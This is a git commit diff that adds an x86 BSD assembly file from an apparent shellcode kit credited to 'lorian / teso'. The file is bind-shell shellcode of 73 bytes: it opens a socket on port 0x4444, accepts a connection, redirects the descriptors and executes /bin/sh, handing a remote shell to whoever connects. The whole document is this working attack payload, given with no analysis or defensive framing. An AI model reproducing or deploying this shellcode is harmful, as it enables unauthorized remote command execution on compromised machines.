initial

1 files changed, 59 insertions, 0 deletions

diff --git a/other/shellkit/x86_bsd/bindshell.s b/other/shellkit/x86_bsd/bindshell.s
new file mode 100644
index 0000000..8921fa9
--- /dev/null
+++ b/other/shellkit/x86_bsd/bindshell.s
@@ -0,0 +1,59 @@
+/* x86/BSD bindsh shellcode (73 bytes)
+   
+   lorian / teso
+*/
+
+        .globl  _cbegin
+        .globl  cbegin
+        .globl  _cend
+        .globl  cend
+
+_cbegin:
+cbegin:
+        xorl    %ebx, %ebx
+        mull    %ebx
+        pushl   %ebx
+        incl    %ebx
+        pushl   %ebx
+        incl    %ebx
+        pushl   %ebx
+        movb    $0x61, %al
+        pushl   %ebx
+        int     $0x80
+        xchgl   %esi, %eax
+        pushl   %edx
+        pushw   $0x4444
+        pushw   %bx
+        movl    %esp, %ebp
+        pushl   $0x10
+        pushl   %ebp
+        pushl   %esi
+        pushl   %esi
+        pushl   $0x68
+        popl    %eax
+        int     $0x80
+        movb    $0x6a, %al
+        int     $0x80
+        pusha
+        movb    $0x1e, %al
+        int     $0x80
+a:      
+        pushl   %ebx
+        pushl   %eax
+        pushl   %eax
+        movb    $0x5a, %al
+        int     $0x80
+        decl    %ebx
+        jns     a
+        pushl   %edx
+        movl    %esp, %ebx
+        push    $0x68732F6E
+        push    $0x69622F2F
+        pusha   
+        popl    %esi
+        popl    %esi
+        movb    $0x3b, %al
+        int     $0x80
+                                                        
+_cend:
+cend: